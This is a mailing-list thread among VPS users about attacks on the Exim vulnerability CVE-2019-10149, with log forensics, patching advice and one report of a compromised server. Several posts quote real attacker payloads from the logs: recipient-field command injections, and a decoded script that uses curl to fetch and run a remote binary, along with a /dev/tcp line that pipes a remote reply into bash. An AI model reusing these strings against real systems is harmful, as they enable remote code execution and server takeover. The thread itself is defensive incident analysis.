23 Jun
2019
23 Jun
'19
3:24 a.m.
Hello,
I've just ran a grep on all of my mail logs for the string "run{" to
see who's been trying to exploit CVE-2019-10149. A successful match
looks like this on my MTA (Exim):
2019-06-19 14:57:19 H=li810-176.members.linode.com (service.com) [104.237.134.176]
F=<support(a)service.com> rejected RCPT
<root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2064.50.180.45\x2ftmp\x2f85.119.82.70\x22}}(a)mail.bitfolk.com>om>:
Unrouteable address
This appears to be attempting to execute:
sh -c "wget 64.50.180.45/tmp/85.119.82.70
on my host. I assume that the attacker watches their HTTP logs for
requests for /tmp/85.119.82.70 and then they know they've found an
exploitable host.
Here's a list of offenders sorted by attempt count:
Count Attacker Country AS
-------------------------------------------------------------------------------------------------
18 89.248.171.57 ( scanner20.openportstats.com) NL INT-NETWORK, SC [AS202425]
8 163.172.157.143 (143-157-172-163.rev.cloud.scaleway.com) GB AS12876, FR
[AS12876]
6 104.237.134.176 (li810-176.members.linode.com) US LINODE-AP Linode, LLC, US
[AS63949]
3 149.56.142.192 ( 192.ip-149-56-142.net) CA OVH, FR [AS16276]
3 104.200.137.239 ( mx239.odesktrack.com) US TOTAL-SERVER-SOLUTIONS -
Total Server Solutions L.L.C., US [AS46562]
2 27.69.172.229 ( localhost) VN VIETEL-AS-AP Viettel Group,
VN [AS7552]
1 95.139.230.110 (node-110-230-139-95.domolink.tula.net) RU ROSTELECOM-AS, RU
[AS12389]
1 79.173.123.131 ( Unset reverse DNS) RU TKTOR, RU [AS44270]
1 46.150.228.178 ( Unset reverse DNS) RU ABRIKOS-AS, RU [AS196768]
1 27.70.156.161 ( localhost) VN VIETEL-AS-AP Viettel Group,
VN [AS7552]
1 27.69.172.239 ( localhost) VN VIETEL-AS-AP Viettel Group,
VN [AS7552]
1 27.69.172.214 ( localhost) VN VIETEL-AS-AP Viettel Group,
VN [AS7552]
Most worrying, a BitFolk IP was amongst my findings. i.e. there is a
BitFolk customer VPS also doing this. Most likely they have already
been compromised by this technique. I've removed them from the
results above but I expect if you search your own logs you'll find
them. They have already been notified.
I created the above output with this script:
https://gist.github.com/grifferz/f92a9c885443a0db8776c4f2f10f914f
To use it in this case would be something like:
$ zcat -f /var/log/exim4/mainlog* \
| grep "run{" \
| awk -F'[' '{ gsub(/\].*/, "", $2); print $2 }' \
| sort | uniq -c | sort -rn | ~/attackers.sh
The awk is separating an IP address out of the [1.2.3.4]. The
sort/uniq/sort is generating an event count. attackers.sh is merely
getting extra info about the IP address.
Cheers,
Andy
--
https://bitfolk.com/ -- No-nonsense VPS hosting
23 Jun
23 Jun
5:08 a.m.
I have just read up on this, after seeing this email. It appears that over
90% of exim4 servers are running vulnerable unpatched versions of the
software. It also seems that the malware involved also sets up a cron job
under user root to go on downloading other nasty stuff.
It seems that the best preventative step is to ensure that your exim is up
to date running version >= 4.92. The only cure That I can see in the sites
I have looked at is a complete nuking and format. This is a nasty brute
On Sun, 23 Jun 2019 at 04:25, Andy Smith <andy(a)bitfolk.com> wrote:
Hello,
I've just ran a grep on all of my mail logs for the string "run{" to
see who's been trying to exploit CVE-2019-10149. A successful match
looks like this on my MTA (Exim):
2019-06-19 14:57:19 H=li810-176.members.linode.com (service.com)
[104.237.134.176] F=<support(a)service.com> rejected RCPT
<root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2064.50.180.45\x2ftmp\x2f85.119.82.70\
x22}}(a)mail.bitfolk.com>gt;: Unrouteable address
This appears to be attempting to execute:
sh -c "wget 64.50.180.45/tmp/85.119.82.70
on my host. I assume that the attacker watches their HTTP logs for
requests for /tmp/85.119.82.70 and then they know they've found an
exploitable host.
Here's a list of offenders sorted by attempt count:
Count Attacker Country AS
-------------------------------------------------------------------------------------------------
18 89.248.171.57 ( scanner20.openportstats.com) NL
INT-NETWORK, SC [AS202425]
8 163.172.157.143 (143-157-172-163.rev.cloud.scaleway.com) GB
AS12876, FR [AS12876]
6 104.237.134.176 (li810-176.members.linode.com) US LINODE-AP
Linode, LLC, US [AS63949]
3 149.56.142.192 ( 192.ip-149-56-142.net) CA OVH, FR
[AS16276]
3 104.200.137.239 ( mx239.odesktrack.com) US
TOTAL-SERVER-SOLUTIONS - Total Server Solutions L.L.C., US [AS46562]
2 27.69.172.229 ( localhost) VN VIETEL-AS-AP
Viettel Group, VN [AS7552]
1 95.139.230.110 (node-110-230-139-95.domolink.tula.net) RU
ROSTELECOM-AS, RU [AS12389]
1 79.173.123.131 ( Unset reverse DNS) RU TKTOR, RU
[AS44270]
1 46.150.228.178 ( Unset reverse DNS) RU ABRIKOS-AS,
RU [AS196768]
1 27.70.156.161 ( localhost) VN VIETEL-AS-AP
Viettel Group, VN [AS7552]
1 27.69.172.239 ( localhost) VN VIETEL-AS-AP
Viettel Group, VN [AS7552]
1 27.69.172.214 ( localhost) VN VIETEL-AS-AP
Viettel Group, VN [AS7552]
Most worrying, a BitFolk IP was amongst my findings. i.e. there is a
BitFolk customer VPS also doing this. Most likely they have already
been compromised by this technique. I've removed them from the
results above but I expect if you search your own logs you'll find
them. They have already been notified.
I created the above output with this script:
https://gist.github.com/grifferz/f92a9c885443a0db8776c4f2f10f914f
To use it in this case would be something like:
$ zcat -f /var/log/exim4/mainlog* \
| grep "run{" \
| awk -F'[' '{ gsub(/\].*/, "", $2); print $2 }' \
| sort | uniq -c | sort -rn | ~/attackers.sh
The awk is separating an IP address out of the [1.2.3.4]. The
sort/uniq/sort is generating an event count. attackers.sh is merely
getting extra info about the IP address.
Cheers,
Andy
--
https://bitfolk.com/ -- No-nonsense VPS hosting
_______________________________________________
users mailing list
users(a)lists.bitfolk.com
https://lists.bitfolk.com/mailman/listinfo/users
5:53 a.m.
Hi Keith,
On Sun, Jun 23, 2019 at 06:08:06AM +0100, Keith Williams wrote:
I have just read up on this, after seeing this email.
It appears that over
90% of exim4 servers are running vulnerable unpatched versions of the
software.
I am surprised it's that much; most of my hosts are still Debian
jessie (oldstable) and that wasn't affected because too old. "Only"
versions 4.87 to 4.91 were affected.
It seems that the best preventative step is to ensure
that your exim is up
to date running version >= 4.92. The only cure That I can see in the sites
I have looked at is a complete nuking and format. This is a nasty brute
Yes; if you didn't upgrade exim within the first week or so of the
update being available you might want to reinstall as there is no
easy way to tell that you haven't been compromised. An attacker
could have deleted the evidence of their attack out of your
/var/log/exim4/mainlog.
Cheers,
Andy
--
https://bitfolk.com/ -- No-nonsense VPS hosting
8:02 a.m.
*I am surprised it's that much; most of my hosts are still Debianjessie
(oldstable) and that wasn't affected because too old. "Only"versions 4.87
to 4.91 were affected.*
Yeah, it could very well have meant 90% of exim servers in that range are
still unpatched. The article was a bit sensationalist in style. I run
Postfix on my VPS servers only have Exim as the Debian default on my laptop
and that was reinstalled very recently when I wiped it and put Buster on
there
On Sun, 23 Jun 2019 at 06:54, Andy Smith <andy(a)bitfolk.com> wrote:
Hi Keith,
On Sun, Jun 23, 2019 at 06:08:06AM +0100, Keith Williams wrote:
I have just read up on this, after seeing this
email. It appears that
over
90% of exim4 servers are running vulnerable
unpatched versions of the
software.
I am surprised it's that much; most of my hosts are still Debian
jessie (oldstable) and that wasn't affected because too old. "Only"
versions 4.87 to 4.91 were affected.
It seems that the best preventative step is to
ensure that your exim is
up
to date running version >= 4.92. The only cure
That I can see in the
sites
I have looked at is a complete nuking and format.
This is a nasty brute
Yes; if you didn't upgrade exim within the first week or so of the
update being available you might want to reinstall as there is no
easy way to tell that you haven't been compromised. An attacker
could have deleted the evidence of their attack out of your
/var/log/exim4/mainlog.
Cheers,
Andy
--
https://bitfolk.com/ -- No-nonsense VPS hosting
_______________________________________________
users mailing list
users(a)lists.bitfolk.com
https://lists.bitfolk.com/mailman/listinfo/users
6:20 a.m.
On 23/06/2019 04:24, Andy Smith wrote:
Hello,
I've just ran a grep on all of my mail logs for the string "run{" to
see who's been trying to exploit CVE-2019-10149. A successful match
looks like this on my MTA (Exim):
2019-06-19 14:57:19 H=li810-176.members.linode.com (service.com) [104.237.134.176]
F=<support(a)service.com> rejected RCPT
<root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2064.50.180.45\x2ftmp\x2f85.119.82.70\x22}}(a)mail.bitfolk.com>om>:
Unrouteable address
Am I right in thinking that the fact that the log entry says "rejected
RCPT" etc. means that the attack has been thwarted?
Cheers,
John
--
Xronos Scheduler - https://xronos.uk/
All your school's schedule information in one place.
Timetable, activities, homework, public events - the lot
Live demo at https://schedulerdemo.xronos.uk/
6:30 a.m.
Hello,
On Sun, Jun 23, 2019 at 07:20:53AM +0100, John Winters wrote:
On 23/06/2019 04:24, Andy Smith wrote:
Yes.
Cheers,
Andy
--
https://bitfolk.com/ -- No-nonsense VPS hosting
2019-06-19 14:57:19
H=li810-176.members.linode.com (service.com) [104.237.134.176]
F=<support(a)service.com> rejected RCPT
<root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2064.50.180.45\x2ftmp\x2f85.119.82.70\x22}}(a)mail.bitfolk.com>om>:
Unrouteable address
Am I right in thinking that the fact that the log entry says "rejected
RCPT" etc. means that the attack has been thwarted? 
9:46 a.m.
Phew... I think?! The depressing thing is that there's no way to know for
sure whether I patched in time, even with things like rkhunter already in
place. Thanks again to Andy, without whose warning I would definitely not
have known to patch my exim quickly enough! I patched 15 days ago (7th
June), and I see 15 remote exploit attempts in the rejectlogs from the last
7 days alone - unfortunately my logrotate already ditched logs from the
previous week.
Some of the attacks obfuscate the payload or source IP of the attacker, e.g.
/var/log/exim4/rejectlog-20190615.gz:2019-06-14 15:26:49 H=
dyndsl-031-150-241-251.ewe-ip-backbone.de (localhost) [31.150.241.251] F=<>
rejected RCPT
<${run{\x2Fbin\x2Fsh\t-c\t\x22echo\x20ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KY3VybCAtViB8fCBhcHQtZ2V0IC15IGluc3RhbGwgY3VybCB8fCB5dW0gLXkgaW5zdGFsbCBjdXJsCmN1cmwgLW0xODAgLWZzU0xrQS0gYXB0Z2V0Z3hxczNzZWNkYS5vbmlvbi53cy9zeXN0ZW1kLWxvZ2luLWUgLW8gL3RtcC9leGltCmNobW9kICt4IC90bXAvZXhpbSAmJiAvdG1wL2V4aW0K\x7cbase64\x20-d\x7cbash\x22}}@localhost>:
Unrouteable address
/var/log/exim4/rejectlog-20190616.gz:2019-06-15 22:39:42 H=(localhost)
[163.172.157.143] F=<> rejected RCPT
<root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22\x65\x78\x65\x63\x20\x35\x3c\x3e\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x35\x31\x2e\x33\x38\x2e\x31\x33\x33\x2e\x32\x33\x32\x2f\x38\x30\x3b\x65\x63\x68\x6f\x20\x2d\x65\x20\x27\x47\x45\x54\x20\x2f\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x5c\x6e\x27\x20\x3e\x26\x35\x3b\x74\x61\x69\x6c\x20\x2d\x6e\x20\x2b\x31\x31\x20\x3c\x26\x35\x20\x7c\x20\x62\x61\x73\x68\x22\x20\x26}}@localhost>:
Unrouteable address
/var/log/exim4/rejectlog-20190616.gz:2019-06-15 23:13:22 H=(localhost)
[51.15.227.108] F=<localuser@localhost> rejected RCPT
<root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22\x65\x63\x68\x6f\x20\x74\x65\x73\x74\x22\x20\x26}}@localhost>:
Sender verify failed
/var/log/exim4/rejectlog-20190617.gz:2019-06-16 10:07:08 H=(localhost)
[163.172.157.143] F=<> rejected RCPT
<root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22\x65\x78\x65\x63\x20\x35\x3c\x3e\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x35\x31\x2e\x31\x35\x2e\x35\x36\x2e\x31\x36\x31\x2f\x34\x34\x33\x3b\x65\x63\x68\x6f\x20\x2d\x65\x20\x27\x47\x45\x54\x20\x2f\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x5c\x6e\x27\x20\x3e\x26\x35\x3b\x74\x61\x69\x6c\x20\x2d\x6e\x20\x2b\x31\x31\x20\x3c\x26\x35\x20\x7c\x20\x62\x61\x73\x68\x22\x20\x26}}@localhost>:
Unrouteable address
Some quick forensics gives an idea of the attack approaches:
$ perl -le 'print
"{run{\x2Fbin\x2Fsh\t-c\t\x22echo\x20ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KY3VybCAtViB8fCBhcHQtZ2V0IC15IGluc3RhbGwgY3VybCB8fCB5dW0gLXkgaW5zdGFsbCBjdXJsCmN1cmwgLW0xODAgLWZzU0xrQS0gYXB0Z2V0Z3hxczNzZWNkYS5vbmlvbi53cy9zeXN0ZW1kLWxvZ2luLWUgLW8gL3RtcC9leGltCmNobW9kICt4IC90bXAvZXhpbSAmJiAvdG1wL2V4aW0K\x7cbase64\x20-d\x7cbash\x22}}@localhost>"'
{run{/bin/sh -c "echo
ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KY3VybCAtViB8fCBhcHQtZ2V0IC15IGluc3RhbGwgY3VybCB8fCB5dW0gLXkgaW5zdGFsbCBjdXJsCmN1cmwgLW0xODAgLWZzU0xrQS0gYXB0Z2V0Z3hxczNzZWNkYS5vbmlvbi53cy9zeXN0ZW1kLWxvZ2luLWUgLW8gL3RtcC9leGltCmNobW9kICt4IC90bXAvZXhpbSAmJiAvdG1wL2V4aW0K|base64
-d|bash"}}>
$ echo
ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KY3VybCAtViB8fCBhcHQtZ2V0IC15IGluc3RhbGwgY3VybCB8fCB5dW0gLXkgaW5zdGFsbCBjdXJsCmN1cmwgLW0xODAgLWZzU0xrQS0gYXB0Z2V0Z3hxczNzZWNkYS5vbmlvbi53cy9zeXN0ZW1kLWxvZ2luLWUgLW8gL3RtcC9leGltCmNobW9kICt4IC90bXAvZXhpbSAmJiAvdG1wL2V4aW0K|base64
-d
exec &>/dev/null
export
PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
curl -V || apt-get -y install curl || yum -y install curl
curl -m180 -fsSLkA- aptgetgxqs3secda.onion.ws/systemd-login-e -o /tmp/exim
chmod +x /tmp/exim && /tmp/exim
$ curl -m180 -fsSLkA- aptgetgxqs3secda.onion.ws/systemd-login-e -o exim
curl: (22) The requested URL returned error: 404 Not Found
$ perl -le 'print
"\x20\x2dc\x20\x22\x65\x78\x65\x63\x20\x35\x3c\x3e\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x35\x31\x2e\x33\x38\x2e\x31\x33\x33\x2e\x32\x33\x32\x2f\x38\x30\x3b\x65\x63\x68\x6f\x20\x2d\x65\x20\x27\x47\x45\x54\x20\x2f\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x5c\x6e\x27\x20\x3e\x26\x35\x3b\x74\x61\x69\x6c\x20\x2d\x6e\x20\x2b\x31\x31\x20\x3c\x26\x35\x20\x7c\x20\x62\x61\x73\x68\x22\x20\x26"'
-c "exec 5<>/dev/tcp/51.38.133.232/80;echo -e 'GET / HTTP/1.0\n'
>&5;tail
-n +11 <&5 | bash" &
I'm not sure how sophisticated these would have been at covering their
tracks if they had succeeded - one would expect that they'd remove
/tmp/exim at very least. But it seems pretty likely that if your exim was
vulnerable and hasn't yet been patched, you've already been hacked.
On Sun, 23 Jun 2019 at 07:30, Andy Smith <andy(a)bitfolk.com> wrote:
Hello,
On Sun, Jun 23, 2019 at 07:20:53AM +0100, John Winters wrote:
On 23/06/2019 04:24, Andy Smith wrote:
> 2019-06-19 14:57:19 H=li810-176.members.linode.com (service.com)
[104.237.134.176] F=<support(a)service.com> rejected RCPT
<root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2064.50.180.45\x2ftmp\x2f85.119.82.70\
x22}}(a)mail.bitfolk.com>gt;: Unrouteable address
Am I right in thinking that the fact that the log entry says "rejected
RCPT" etc. means that the attack has been thwarted?
Yes.
Cheers,
Andy
--
https://bitfolk.com/ -- No-nonsense VPS hosting
_______________________________________________
users mailing list
users(a)lists.bitfolk.com
https://lists.bitfolk.com/mailman/listinfo/users
10:33 a.m.
Adam Spiers said:
Phew... I think?! The depressing thing is that
there's no way to know for sure whether I patched in time, even with things like
rkhunter already in place. .. I patched 15 days ago (7th June), and I see 15 remote
exploit attempts in the rejectlogs from the last 7 days alone - unfortunately my logrotate
already ditched logs from the previous week.
For a number of reasons, I keep mail logs rather longer than that, so
I can see that on my only VPS that is open to accepting email, attacks
started on the 18th:
Jun 18 23:25:22 example postgrey[730]: action=greylist, reason=new,
client_name=host34-234-19-46.soho.nordext.net,
client_address=46.19.234.34, sender=support(a)service.com,
recipient=root+${run{x2Fbinx2Fsht-ctx22wgetx20213.227.155.101x2ftmpx2f1.2.3.4x22}}(a)example.com
.. and while there have been attempts since then, there's nothing
similar before that.
As you can see, that VPS runs postfix anyway. It's possible some
attackers look for the name of the mail server program before trying
to run the actual exploit, and so wouldn't show in postfix logs, but I
think it's unlikely that this is something the first ones would do.
All my other VPSes have exim4 (and were updated on the 5th) but only
to send email: with the exception of the ssh, http/https, and a couple
of other ports, all incoming ports on those are closed by the
firewall.
Fortunately.
Thanks again to Andy, without whose warning I would
definitely not have known to patch my exim quickly enough!
It's well worth having something do regular (hourly?) 'apt-get
updates' and email you if there is anything to upgrade. I'm not quite
ready to do automatic upgrades, because occasionally Debian do get
something wrong, but having instant-ish notice that there are upgrades
is very useful.
Ian
25 Jun
25 Jun
6:23 a.m.
On 25.06.2019 00:30, Anthony Newman via users wrote:
On 2019-06-23 03:33, Ian wrote:
Or unattended-upgrades. I believe it defaults to only do
security-updates, which is probably the most reasonable unattended
upgrades to do.
- OM
It's well worth having something do regular
(hourly?) 'apt-get
updates' and email you if there is anything to upgrade.
This is what apticron is for. 
23 Jun
23 Jun
10:52 a.m.
It's my VPS that seems to have been compromised. That's ruined my day - time to
rebuild onto a new VPS!
June 23, 2019 10:47 AM, "Adam Spiers" <bitfolk(a)adamspiers.org> wrote:
Phew... I think?! The depressing thing is that
there's no way to know for sure whether I patched in
time, even with things like rkhunter already in place. Thanks again to Andy, without
whose warning
I would definitely not have known to patch my exim quickly enough! I patched 15 days ago
(7th
June), and I see 15 remote exploit attempts in the rejectlogs from the last 7 days alone
-
unfortunately my logrotate already ditched logs from the previous week.
I actually patched at about 10:40 on the 6th (according to the email I got from
apt-listchanges), so it must have been a very early compromise.
Whatever rootkit was installed generated no alerts on my tripwire configuration, but an
lkm rootkit is intermittently showing up via chkrootkit. I'll be putting in a cron job
on the new box to run that daily in the future, and will also look into rkhunter as well.
It seems that you really can't be too careful - and I wasn't careful enough!
Another lesson I may take away from this is to keep my logs for longer - like others, mine
only go back to the 14th. I might set up logrotate to email them to me in addition to
rotate+compress, so I have longer offline storage. At the moment, I just have nothing to
help me determine when the VPS was compromised. :-(
Anyway, I have a busy afternoon ahead of me!
Check your boxes, folks. And thanks to Andy for doing this check and letting me know!
Phil
11:04 a.m.
On 23/06/2019 11:52, phil(a)philipstorry.net wrote:
[snip]
Another lesson I may take away from this is to keep my
logs for longer - like others, mine only go back to the 14th. I might set up logrotate to
email them to me in addition to rotate+compress, so I have longer offline storage. At the
moment, I just have nothing to help me determine when the VPS was compromised. :-(
Do your backups not go further? With a combination of log rotation and
dirvish backups I can potentially retrieve any log file for at least
three months - some back to when the machine was first installed.
John
--
Xronos Scheduler - https://xronos.uk/
All your school's schedule information in one place.
Timetable, activities, homework, public events - the lot
Live demo at https://schedulerdemo.xronos.uk/
3:54 p.m.
On 2019-06-23 03:24+0000, Andy Smith wrote:
Hello,
I've just ran a grep on all of my mail logs for the string "run{" to
see who's been trying to exploit CVE-2019-10149. A successful match
looks like this on my MTA (Exim):
...
I've not seen much chatter about mail system wars since 2006-ish.
Sadly qmail seems to have fallen out of favour, but if I ever need to
rebuild maybe I'll use postfix next.
--
Best regards,
Ed http://www.s5h.net/
4:29 p.m.
On Sun, Jun 23, 2019 at 04:54:46PM +0100, Ed wrote:
I've not seen much chatter about mail system wars
since 2006-ish.
Sadly qmail seems to have fallen out of favour, but if I ever need to
rebuild maybe I'll use postfix next.
I certainly don't want an MTA war on my hands, but I'm very relieved to
know that my VPS is using postfix (installed by Virtualmin). A narrow escape
as only last month I migrated everything from a different provider that
*did* use exim.
A couple of boxes at home run exim, but I think I updated them in time.
They don't get external incoming mail anway.
--
Anahata
anahata(a)treewind.co.uk -+- http://www.treewind.co.uk
Home: 01535 501017 Mob: 07976 263827
2006
days inactive
2008
days old
13 comments
10 participants
participants (10)
-
Adam Spiers -
Anahata -
Andy Smith -
Anthony Newman -
Ed -
Ian -
John Winters -
Keith Williams -
Ole-Morten Duesund -
phil＠philipstorry.net